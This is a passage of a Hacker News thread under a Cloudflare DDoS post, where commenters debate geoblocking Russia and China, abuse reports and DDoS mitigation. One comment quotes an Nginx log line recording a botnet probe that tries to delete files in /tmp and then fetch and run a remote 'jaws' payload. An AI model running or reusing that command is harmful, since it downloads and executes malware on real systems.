           | errant acitivty, they are listened to.
           | 
           | There is absolutely no comparison. These zones are useless
           | for most companies. No one in China or Russia is buying
           | anything from much of the rest of the world. Russia spews
           | more spam that the rest of the planet combined.
           | 
           | Dropping their IP space on the floor, is the smartest thing a
           | startup can do.
           | 
           | And the manufactured outrage is hilarious. These two
           | countries block everything they can already, meaning legit
           | traffic is rare. The great firewall of China means few will
           | visit your site anyhow.
           | 
           | Drop Russia, China, and even Brazil (whos network ops never
           | ever ever respond to spam reports).
           | 
           | Your admin life will be immensely better, and it will cost
           | you nothing, nada, zilch. All upside, zero downside.
        
             | from wrote:
             | > Drop Russia, China, and even Brazil (whos network ops
             | never ever ever respond to spam reports).
             | 
             | I don't mean to be presumptuous but what is the benefit of
             | this. Do you spend all day stressing when you see
             | 112.250.109.154 - - [14/Feb/2023:00:00:18 +0000] "GET /shel
             | l?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws
             | HTTP/1.1" 404 153 "-" "Hello, world"
             | 
             | in your Nginx logs? Actual financial fraud occurs using US
             | residential proxies. Automated scanning occurs in those
             | countries because they have a bunch of cheap insecure
             | routers and IoT devices. Writing angry abuse reports all
             | day is misdirected because the scanning device is probably
             | some hacked Hikvision camera, not a master hacker. You'd be
             | better off trying to get the C2 shut down.
        
               | bbarnett wrote:
               | So out of endless ways to ruin your day, you claim all
               | financial fraud only comes from US proxies (?!?!?!), and
               | ignore all other threats.
               | 
               | Completely untrue.
               | 
               | So getting hacked never happens from Russia? Russian IPs
               | only scan, but never crack in, takeover, deface, or work
               | their way deep?
               | 
               | And spam has 0 cost, right?
               | 
               | Read the equation again.. 0 downside, endless upside.
        
               | from wrote:
               | > So out of endless ways to ruin your day, you claim all
               | financial fraud only comes from US proxies (?!?!?!), and
               | ignore all other threats.
               | 
               | If you're referring to banking fraud I'm pretty sure the
               | answer is mostly yes. Maybe sometimes fraudsters are
               | lazy.
               | 
               | > So getting hacked never happens from Russia? Russian
               | IPs only scan, but never crack in, takeover, deface, or
               | work their way deep?
               | 
               | It does, I'm just saying it's almost entirely automated
               | scans and bruteforce using default password combinations
               | and several year old CVEs. If you are vulnerable to those
               | you have bigger problems.
               | 
               | > And spam has 0 cost, right?
               | 
               | Unless you are running some ancient configuration the
               | cost is lower than the amount of engineering work and
               | mental capacity you appear to devoting to stopping it.
               | 
               | I'm not saying you shouldn't make the tradeoff or that
               | it's wrong to do it, just that the amount of security you
               | think you are gaining from it is not as high as you
               | think.
        
               | bbarnett wrote:
               | I love it. Statements peppered with "almost" and
               | "mostly". How if you are updated, well then you're
               | golden, cause mostly it's old CVEs.
               | 
               | Which ignores that even 0.001% of traffic is a load of
               | more skilled bad actors, this IP space is rotten to the
               | core.
               | 
               | Throughout, I have stated 0 downside, all upside. Even
               | one dedicated hacker gone, is a plus in this scenario.
               | Even showing yourself to be actively, aggressively
               | defending is a plus, if comparables are less guarded.
               | 
               | And you're bracketing the use case, others and I have
               | been speaking of the generic. Many run MTAs, so cutting
               | down on inbound spam and malware, pre-filtering is a
               | plus.
               | 
               | Canning all this address space is a never lose, always
               | win, plus plus plus.
               | 
               | Save yourself the grief. Hot potato it.
        
           | ericmcer wrote:
           | I don't think we are talking about national security spying,
           | I am sure every country does this as much as they can.
           | 
           | This sounds more like stopping people who want to extort or
           | even just mess with American companies or individuals. It
           | doesn't really logic to me that US citizens are attempting to
           | ransom Chinese businesses at a higher rate than the inverse.
        
           | OmarAssadi wrote:
           | There's also something beautifully awful about blocking
           | entire countries due to the reputation their IP addresses
           | have, while making strange, sweeping xenophobic statements
           | about the people that live there, meanwhile a non-
           | insignificant percentage of some of those attacks originate
           | from the United States (e.g., the Mirai botnet that
           | compromised hundreds of thousands of IoT devices and also
           | held the CloudFlare record at one point was created by an
           | American and operated from the U.S. despite many of the
           | infected devices being located in some of these countries).
        
         | rdxm wrote:
         | [dead]
        
         | __alexs wrote:
         | In my experience running large sites most attack traffic has
         | come from EU and US hosts such as Choopa/Vultr, OVH, Hetzner,
         | AWS etc followed closely by major domestic ISPs like Comcast.
         | Any traffic at all from BRICs has been pretty low.
         | 
         | The post doesn't even mention any of the countries you whine
         | about.
        
           | namtab00 wrote:
           | why do you disregard South Africa like that?
        
             | Havoc wrote:
             | SA wasn't in the original BRIC acronym. Ie the s stood for
             | plural not South Africa
        
         | [deleted]
        
         | canadianfella wrote:
         | [dead]
        
         | thalassophobia wrote:
         | >Letting russia and china on the internet was a massive
         | security mistake we should rectify.
         | 
         | As a Russian,comments like this make me feel less and less
         | interested in being friendly with the (generalized) West. If
         | I'll always be seen as "one of the bad guys" for the crime of
         | being born in a country and not wanting to shit on everything
         | about it, then why even bother acting any other way?
        
         | ComodoHacker wrote:
         | >Letting russia and china on the internet was a massive
         | security mistake
         | 
         | Harm vs good assessment, anyone?
        
           | practice9 wrote:
           | The world assessed that business with those countries would
           | be good, and now they want to bring the world down to their
           | level (dictatorship + censorship).
        
         | lxgr wrote:
         | > The absolutely first thing I do at every company and on every
         | project is ask if I can block russia, china and belarussian IP
         | space
         | 
         | Sorry for the language, but fuck that attitude. I don't live in
         | any of these countries, but I used to live in a large European
         | one that still regularly gets blocked by US sites for no
         | fathomable reason.
         | 
         | Maybe you should try using the internet from a VPN location
         | outside the US to see how fun that is as a paying customer of
         | the sites that are blocking you for your crime by association
         | (if temporary physical presence can even be called that).
         | 
         | One time I couldn't even unsubscribe from a VOD streaming
         | service that I had been subscribed to while on an assignment in
         | the US once I was back in Europe because their entire website
         | was just a big geoblocked mess, including account/subscription
         | management. Of course they were still happy to take my money!
         | Less egregious but still infuriating: OMNY, New York's open-
         | loop transit payment system, just outright blocks me when
         | trying to access my account from Europe. Have the people ever
         | considered the scenario that a _visitor_ might use their
         | service and later need the receipts for e.g. an expense report?
         | Sure enough, London 's TfL does the same thing for the US.
         | 
         | I can't wait for the day that the decision makers responsible
         | for this insanity get stuck on a business or holiday trip like
         | that and realize how annoying this is - or even better, realize
         | that things like VPNs and botnets exist and can _obscure the
         | source of any Internet traffic_...
        
         | [deleted]
        
         | dec0dedab0de wrote:
         | Wouldn't it be nice if all the ISPs got together and refused to
         | route traffic from networks that ignored abuse complaints?
         | 
         | I suppose that would put cloudflare and anyone else doing ddos
         | mitigation out of business.
         | 
         | When I worked at a small ISP and we would get complaints, we
         | would block the user until we could reach them. Then let them
         | online long enough to update their antivirus. I can't imagine
         | Comcast committing to that, but it would be nice.
        
           | luckylion wrote:
           | I'd love to see that, but I don't think it'd work because
           | most people aren't capable enough to disinfect their machines
           | and you can't just block their access to the internet.
           | 
           | I expect locked down devices like cell phones and tablets to
           | be less problematic in that regard (but maybe that's not true
           | at all), so maybe the home-botnet-issue will resolve itself
           | as more and more people stop using personal computers?
           | 
           | I have no way to tell how the big Cloudproviders actually
           | handle it. I've occasionally reported persistent phishing
           | campaigns to SES & similar providers and never really got a
           | reply. I've reported a DDOS to Azure and it took them 18 days
           | or so to say "thanks, we'll forward it". If Microsoft and
           | Amazon don't respond appropriately, how can we expect smaller
           | ISPs to handle that?
        
             | lxgr wrote:
             | > [...] maybe the home-botnet-issue will resolve itself as
             | more and more people stop using personal computers?
             | 
             | Maybe - if there wasn't IoT/smart home devices...
        
               | luckylion wrote:
               | Ah, yeah, I forgot about those. And with remotely
               | triggered updates, you don't even need to get past the
               | router to infect some fridge, you just take over the
               | manufacturer's site (or wait until they let the domain
               | expire...) and have the fridges come to you.
        
             | ftrobro wrote:
             | > you can't just block their access to the internet
             | 
             | Or maybe that's the best thing you can do for them, perhaps
             | preventing them from revealing even more passwords etc to
             | the attacker.
        
           | neoromantique wrote:
           | >Wouldn't it be nice if all the ISPs got together and refused
           | to route traffic from networks that ignored abuse complaints?
           | 
           | Jesus, this reads like a prequel to Black Mirror episode.
        
           | from wrote:
           | > Wouldn't it be nice if all the ISPs got together and
           | refused to route traffic from networks that ignored abuse
           | complaints?
           | 
           | Is port scanning abuse? I don't think so but some babies on
           | mailing lists love to spend all of their time writing
           | handwritten abuse letters about it.
        
         | iJohnDoe wrote:
         | Doesn't deserve the downvotes. All of it is truth.
         | 
         | So much garbage connections originate from the mentioned
         | countries. Worst yet, these countries have poor connections in
         | some cases and generate so many retires that also waste
         | resources.
        
           | realistik1 wrote:
           | [flagged]
        
             | [deleted]
        
         | ddorian43 wrote:
         | > which saves us about $50kper month in bandwidth charges.
         | 
         | How much is this in terabytes?
        
       | omgomgomgomg wrote:
       | Cloudflare ddos mitigation is overrated. First they force you to
       | upgrade your plan, if that does not help, anotyer upgrade, if
       | that fails, chances are you will get a termination notice.
        
         | sammy2255 wrote:
         | >First they force you to upgrade your plan
         | 
         | I don't think that's true, would you care to share more about
         | that experience?
        
         | vlakreeh wrote:
         | This is not the case, websites behind will get good ddos
         | mitigation to begin with some options for improving that for
         | some cost. But it's worth noting that in 2022 they blocked a
         | 26M req/s attack on a website using the free plan, imo that's
         | very generous for someone not paying for ddos protection.
         | 
         | https://blog.cloudflare.com/26m-rps-ddos/
        
       | kortilla wrote:
       | This is blogspam complete with made up terms ("hyper-
       | volumetric"), self-congratulatory back-patting, and no technical
       | content. It's an ad to scare you into signing up for cloudflare.
        
         | throwaway67743 wrote:
         | Which is why they're colloquially known as blogflare ;)
        
       | atominte wrote:
       | [flagged]
        
         | bloodyplonker22 wrote:
         | If you actually took the time to read the article, it says the
         | following:
         | 
         | >Over the past few days, Cloudflare, as well as other sources,
         | have observed healthcare organizations targeted by a pro-
         | Russian hacktivist group claiming to be Killnet.
        
           | nielsbot wrote:
           | You quoted the wrong article. This article says
           | 
           | > Is this related to the Super Bowl or Killnet?
           | 
           | > No. This campaign of attacks arrives less than two weeks
           | after the Killnet DDoS campaign that targeted healthcare
           | websites.
        
           | [deleted]
        
       ___________________________________________________________________
       (page generated 2023-02-14 23:01 UTC)